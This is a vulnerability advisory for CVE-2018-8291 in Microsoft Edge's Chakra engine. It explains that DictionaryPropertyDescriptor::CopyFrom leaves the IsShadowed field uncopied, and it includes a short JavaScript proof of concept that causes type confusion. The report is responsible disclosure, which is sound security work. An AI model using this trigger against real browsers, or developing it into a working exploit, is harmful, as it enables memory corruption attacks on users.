Microsoft Edge Chakra DictionaryPropertyDescriptor::CopyFrom Failed Copy

`Microsoft Edge: Chakra: DictionaryPropertyDescriptor::CopyFrom doesn't copy all fields   
  
CVE-2018-8291  
  
  
Here's the method.  
template <typename TPropertyIndex>  
template <typename TPropertyIndexFrom>  
void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)  
{  
this->Attributes = descriptor.Attributes;  
this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;  
this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;  
this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;  
this->IsAccessor = descriptor.IsAccessor;  
  
#if ENABLE_FIXED_FIELDS  
this->IsInitialized = descriptor.IsInitialized;  
this->IsFixed = descriptor.IsFixed;  
this->UsedAsFixed = descriptor.UsedAsFixed;  
#endif  
}  
  
Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.  
  
PoC:  
let x = 1;  
  
this.x = 0x1234; // IsShadowed  
  
// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.  
for (let i = 0; i < 0x10000; i++) {  
this['a' + i] = 1;  
}  
  
// Set IsAccessor  
this.__defineSetter__('x', () => {});  
  
// Type confusion  
this.x;  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`